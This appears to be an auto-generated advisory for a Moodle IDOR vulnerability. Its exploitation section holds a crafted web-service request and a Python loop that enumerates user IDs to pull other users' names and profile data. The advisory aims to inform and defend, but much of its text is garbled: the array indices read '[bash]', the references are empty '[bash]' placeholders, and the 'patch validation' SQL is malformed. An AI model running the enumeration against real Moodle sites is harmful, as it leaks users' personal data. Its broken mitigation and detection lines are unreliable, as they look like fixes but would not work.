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The CVE-2025-XXXX vulnerability in Moodle arises due to insufficient capability checks in the web service API. When a user is enrolled in a course, they can exploit this flaw by manipulating object references (e.g., user IDs) in API requests. The system fails to validate whether the requester has proper permissions, allowing unauthorized access to sensitive details of other users, such as full names and profile image URLs. This IDOR occurs because Moodle does not enforce strict access controls when fetching user data via certain endpoints, enabling unintended data leakage.
DailyCVE Form:
Platform: Moodle
Version: <4.1.18, 4.3.0-4.3.11, 4.4.0-4.4.7, 4.5.0-4.5.3
Vulnerability: IDOR
Severity: Moderate
Date: 2025-04-25
What Undercode Say:
Exploitation:
1. Craft API Request:
GET /webservice/rest/server.php?wstoken=TOKEN&wsfunction=core_user_get_users&userids[bash]=TARGET_ID
2. Enumerate Users:
import requests
for uid in range(1,100):
r = requests.get(f"https://moodle-site.com/webservice/rest/server.php?wstoken=TOKEN&wsfunction=core_user_get_users&userids[bash]={uid}")
print(r.json())
Mitigation:
1. Update Moodle:
sudo apt update && sudo apt upgrade moodle
2. Restrict Web Service:
// In config.php $CFG->enablewebservices = false;
3. Patch Validation:
SELECT FROM mdl_user WHERE id=:userid AND capability_check=1;
Detection:
- Log Analysis:
grep "core_user_get_users" /var/log/moodle/access.log
- WAF Rule:
if ($args ~ "userids[\d+]=") { deny all; }
References:
- Moodle Security Advisory: [bash]
- NVD Entry: [bash]
- GitHub Advisory: [bash]
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
